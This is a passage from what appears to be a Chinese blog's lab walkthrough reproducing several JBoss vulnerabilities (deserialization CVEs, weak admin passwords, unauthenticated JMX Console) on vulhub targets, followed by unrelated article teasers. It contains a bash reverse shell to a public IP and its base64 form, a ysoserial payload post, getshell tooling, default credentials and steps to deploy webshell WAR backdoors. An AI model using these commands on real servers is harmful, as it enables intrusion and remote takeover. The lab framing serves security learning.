JBOSS中间件漏洞复现
CVE-2015-7501
1.开启环境
cd vulhub/jboss/JMXInvokerServlet-deserialization
docker-compose up -d
docker ps
2.访问靶场
3.访问/invoker/JMXInvokerServlet目录
4.将反弹shell进⾏base64编码
bash -i >& /dev/tcp/47.121.191.208/6666 0>&1
YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny4xMjEuMTkxLjIwOC82NjY2IDA+JjE=
YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny4xMjEuMTkxLjIwOC82NjY2IDA+JjE=
使用ysoserial ⼯具进⾏漏洞利⽤
https://github.com/frohoff/ysoserial
curl 47.121.191.208:8080/invoker/JMXInvokerServlet --data-binary @exp.ser
5.监听6666端口
反弹成功
CVE-2017-7504
1.开启环境
cd vulhub/jboss/CVE-2017-7504
docker-compose up -d
2.访问靶场
3.访问漏洞地址
/jbossmq-httpil/HTTPServerILServlet
4.使用python3 jexboss.py -u http://47.121.191.208:8080进行getshell
CVE-2017-12149
1.开启环境
cd vulhub/jboss/CVE-2017-12149
docker-compose up -d
2.访问靶场
3.验证漏洞是否存在
访问此/invoker/readonly目录
返回500，说明存在漏洞
4.使用工具检测，执行命令
Administration Console弱⼝令
1.开启环境
cd vulhub-master/jboss/CVE-2017-12149
docker-compose up -d
依旧是此环境
2.首先访问密码文件
密码文件
/jboss-6.1.0.Final/server/default/conf/props/jmx-console-users.properties
账户密码：admin:vulhub
3.访问/admin-console/login.seam目录
使用上面的用户名密码进行登录
4.点击web应⽤，上传后⻔ shell.war
5.访问此文件
/shell/shell.jsp
6.测试连接
高版本JMX Console未授权
1.依旧是12149的环境
2.访问/jmx-console/目录
用户名：admin
密码：vulhub
3.在JMX Console⻚⾯点击jboss.system链接，在Jboss.system⻚⾯中点击service=MainDeployer
4.进⼊service=MainDeployer⻚⾯之后，找到methodIndex为17或19的deploy 填写远程war包地址进⾏远程部署
5.输⼊Invoke
http://47.121.191.208/zxin.war
6.访问zxin.jsp
/zxin/zxin.jsp
7.使用哥斯拉进行测试连接
低版本JMX Console未授权
1.开启环境
cd vulhub-master/jboss/CVE-2017-7504
docker-compose up -d
2.访问靶场
3.访问/jmx-console目录
登录
admin admin
4.然后找到jboss.deployment (jboss ⾃带得部署功能) 中的flavor=URL,type=DeploymentScanner点进去（通过URL的⽅式远程部署）
5.使用哥斯拉进行测试连接
相关文章：
JBOSS中间件漏洞复现
CVE-2015-7501 1.开启环境 cd vulhub/jboss/JMXInvokerServlet-deserialization docker-compose up -d docker ps 2.访问靶场 3.访问/invoker/JMXInvokerServlet目录 4.将反弹shell进⾏base64编码 bash -i >& /dev/tcp/47.121.191.208/6666 0>&1 YmFzaCAt…...
每日论文6—16ISCAS一种新型低电流失配和变化电流转向电荷泵
《A Novel Current Steering Charge Pump with Low Current Mismatch and Variation》16ISCAS 本文首先介绍了传统的current steering charge pump，如下图： 比起最简单的电荷泵，主要好处是UP和DN开关离输出节点较远，因此一定程度…...
低代码开发平台：未来五大发展趋势预测
在数字化转型的浪潮中，低代码开发平台正迅速崛起，成为企业软件开发的重要工具。随着技术的不断进步和市场需求的持续增长，低代码开发平台在未来将展现出更为广阔的发展前景。本文将预测并探讨低代码开发平台的五大发展趋势。 深度融合数字化与…...
国内AI大模型，这篇文章说透了
探索国内顶尖AI企业及其创新产品。 人工智能（AI）的发展正以前所未有的速度推进。 从简单的自动化任务到复杂的决策制定、自然语言处理、图像识别及自主系统的实现，不断拓宽着人类智慧的边界。 国内AI发展迅猛，不仅在理论研究上…...
3.4 爬虫实战-爬去智联招聘职位信息
课程目标 爬去智联招聘 课程内容 import requests from bs4 import BeautifulSoup from tqdm import tqdm import pandas as pd import time def tran_salary(ori_salary):if "万" in ori_salary:ori_salary ori_salary.replace("万","")ori…...
Java 之注解详解
Java 注解（Annotation）自 Java 5 版本引入，为代码提供了强大的元数据支持。它们如同代码中的标记，能够被编译器、工具和运行时环境识别，赋予代码更丰富的语义和更强大的功能。 一、注解入门 1.1 初识注解：…...
计算机视觉实战项目4（图像分类+目标检测+目标跟踪+姿态识别+车道线识别+车牌识别+无人机检测+A*路径规划+单目测距与测速+行人车辆计数等）
往期热门项目回顾： 计算机视觉项目大集合 改进的yolo目标检测-测距测速 路径规划算法 图像去雨去雾目标检测测距项目 交通标志识别项目 yolo系列-重磅yolov9界面-最新的yolo 姿态识别-3d姿态识别 深度学习小白学习路线 AI健身教练-引体向上-俯卧撑计数…...
【Spring Cloud】Spring Cloud 概述
Spring Cloud 概述 1. 认识微服务1.1 单体架构1.2 集群和分布式架构集群和分布式 1.3 微服务架构分布式架构&微服务架构 1.4 微服务带来的挑战优势挑战 2. 微服务解决⽅案- Spring Cloud2.1 什么是Spring Cloud2.2 Spring Cloud版本Spring Cloud和SpringBoot的关系 2.3 Spr…...
猫头虎带你解决：error Error: certificate has expired
🐯猫头虎带你解决：error Error: certificate has expired 💥 今天有粉丝问猫哥：“🐯猫头虎，我在 Node.js 项目中使用 Yarn 安装包时遇到了一个错误：Error: certificate has expired。你能帮忙解…...
盘点2024年4款高效率的语音转文字工具。
语音转换文字软件真的是一种提高效率的神器，我在工作中常常因为手动记录太慢而选择录音。事后在形成记录，但效率比较低。自从知道有直接转换的工具之后，我有再多的录音都不怕了。如果大家也有跟我一样的工作时，可以试试使用这些语…...
记录Mac编译Android源码踩过的坑
学习Android源码，如果电脑配置还不错，最好还是下载一套源码，经过编译后导入到Android Studio中来学习，这样会更加的直观，代码之间的跳转查看会更加方便。因此，笔者决定下载并编译一套源码，以利于…...
C++ 数据结构算法细节相关
细节 队列 这段代码实现的是二叉树的层序遍历，也就是按照树的层次，一层一层地遍历节点。下面我会为你详细解释这段代码。 queue <TreeNode*> q; 这是一个队列，队列中存放的是指向TreeNode的指针。队列（queue）是…...
【HTML5】html5开篇基础（1）
1.❤️❤️前言~🥳🎉🎉🎉 Hello, Hello~ 亲爱的朋友们👋👋，这里是E绵绵呀✍️✍️。 如果你喜欢这篇文章，请别吝啬你的点赞❤️❤️和收藏📖📖。如果你对我的…...
C#自定义曲线绘图面板
一、实现功能 1、显示面板绘制。 2、拖动面板，X轴、Y轴都可以拖动。 3、显示面板缩放，放大或者缩小。 4、鼠标在面板中对应的XY轴数值。 5、自动生成的数据数组，曲线显示。 6、鼠标是否在曲线上检测。 二、界面 拖动面板 鼠标在曲线上…...
Java后端面试题+下一篇答案+实况场景题
uu们大家好！市面上面试题很多，这边汇总并更新一下java后端面试的题目，助大家早日斩下心仪的offer！！（下次跟新场景题...等我多碰几次壁...哈哈哈哈哈） 这边放题目，下一篇跟新所有另面…...
完美解决vant浮动气泡+弹出菜单
使用框架： vue3，vant4 项目需求： 需要有一个浮动气泡，点击弹出导航菜单 遇到的问题： 1. 使用van-floating-bubble包裹van-popover，但点击后只会重复显示不能隐藏 2. popover位置固定，不能根据…...
SpringSecurity -- 入门使用
文章目录 什么是 SpringSesurity ？细节使用方法 什么是 SpringSesurity ？ 在我们的开发中，安全还是有些必要的 用 拦截器 和 过滤器 写代码还是比较麻烦。 SpringSecurity 是 SpringBoot 的底层安全默认选型。一般我们需要认证和授权…...
C语言习题~day33
1.以下程序运行时，若输入1abcedf2df输出结果是（） #include <stdio.h> int main() { char a 0, ch; while ((ch getchar()) ! \n) { if (a % 2 ! 0 && (ch > a && ch < z)) ch ch - a A; a; putchar(ch); }…...
作业报告┭┮﹏┭┮（Android反调试）
一：Android反调试 主要是用来防止IDA进行附加的，主要的方法思路就是，判断自身是否有父进程，判断是否端口被监听，然后通过调用so文件中的线程进行监视，这个线程开启一般JNI_OnLoad中进行开启的。但是这个是…...
在 Delphi BSD11中安装 DCU 格式的第三方组件库
在 Delphi BSD 11 中安装 DCU 格式的第三方组件库可以按照以下步骤进行： 打开 Delphi：启动 Delphi 开发环境。 选择安装组件： 在菜单栏中，选择 Component -> Install Component。 选择 DCU 文件： 在弹出的对话框中…...
conda相比python好处
Conda 作为 Python 的环境和包管理工具，相比原生 Python 生态（如 pip 虚拟环境）有许多独特优势，尤其在多项目管理、依赖处理和跨平台兼容性等方面表现更优。以下是 Conda 的核心好处： 一、一站式环境管理：…...
)
Java 语言特性(面试系列2)
一、SQL 基础 1. 复杂查询 （1）连接查询（JOIN） 内连接（INNER JOIN）：返回两表匹配的记录。 SELECT e.name, d.dept_name FROM employees e INNER JOIN departments d ON e.dept_id d.dept_id; 左…...
基于距离变化能量开销动态调整的WSN低功耗拓扑控制开销算法matlab仿真
目录 1.程序功能描述 2.测试软件版本以及运行结果展示 3.核心程序 4.算法仿真参数 5.算法理论概述 6.参考文献 7.完整程序 1.程序功能描述 通过动态调整节点通信的能量开销，平衡网络负载，延长WSN生命周期。具体通过建立基于距离的能量消耗模型&am…...
Java多线程实现之Thread类深度解析
Java多线程实现之Thread类深度解析 一、多线程基础概念1.1 什么是线程1.2 多线程的优势1.3 Java多线程模型 二、Thread类的基本结构与构造函数2.1 Thread类的继承关系2.2 构造函数 三、创建和启动线程3.1 继承Thread类创建线程3.2 实现Runnable接口创建线程 四、Thread类的核心…...
大语言模型（LLM）中的KV缓存压缩与动态稀疏注意力机制设计
随着大语言模型（LLM）参数规模的增长，推理阶段的内存占用和计算复杂度成为核心挑战。传统注意力机制的计算复杂度随序列长度呈二次方增长，而KV缓存的内存消耗可能高达数十GB（例如Llama2-7B处理100K token时需50GB内存&a…...
如何在网页里填写 PDF 表格？
有时候，你可能希望用户能在你的网站上填写 PDF 表单。然而，这件事并不简单，因为 PDF 并不是一种原生的网页格式。虽然浏览器可以显示 PDF 文件，但原生并不支持编辑或填写它们。更糟的是，如果你想收集表单数据ÿ…...
安卓基础（aar）
重新设置java21的环境，临时设置 $env:JAVA_HOME "D:\Android Studio\jbr" 查看当前环境变量 JAVA_HOME 的值 echo $env:JAVA_HOME 构建ARR文件 ./gradlew :private-lib:assembleRelease 目录是这样的： MyApp/ ├── app/ …...
Go语言多线程问题
打印零与奇偶数（leetcode 1116） 方法1：使用互斥锁和条件变量 package mainimport ("fmt""sync" )type ZeroEvenOdd struct {n intzeroMutex sync.MutexevenMutex sync.MutexoddMutex sync.Mutexcurrent int…...
Razor编程中@Html的方法使用大全
文章目录 1. 基础HTML辅助方法1.1 Html.ActionLink()1.2 Html.RouteLink()1.3 Html.Display() / Html.DisplayFor()1.4 Html.Editor() / Html.EditorFor()1.5 Html.Label() / Html.LabelFor()1.6 Html.TextBox() / Html.TextBoxFor() 2. 表单相关辅助方法2.1 Html.BeginForm() …...
Python Einops库：深度学习中的张量操作革命
Einops（爱因斯坦操作库）就像给张量操作戴上了一副"语义眼镜"——让你用人类能理解的方式告诉计算机如何操作多维数组。这个基于爱因斯坦求和约定的库，用类似自然语言的表达式替代了晦涩的API调用，彻底改变了深度学习工程…...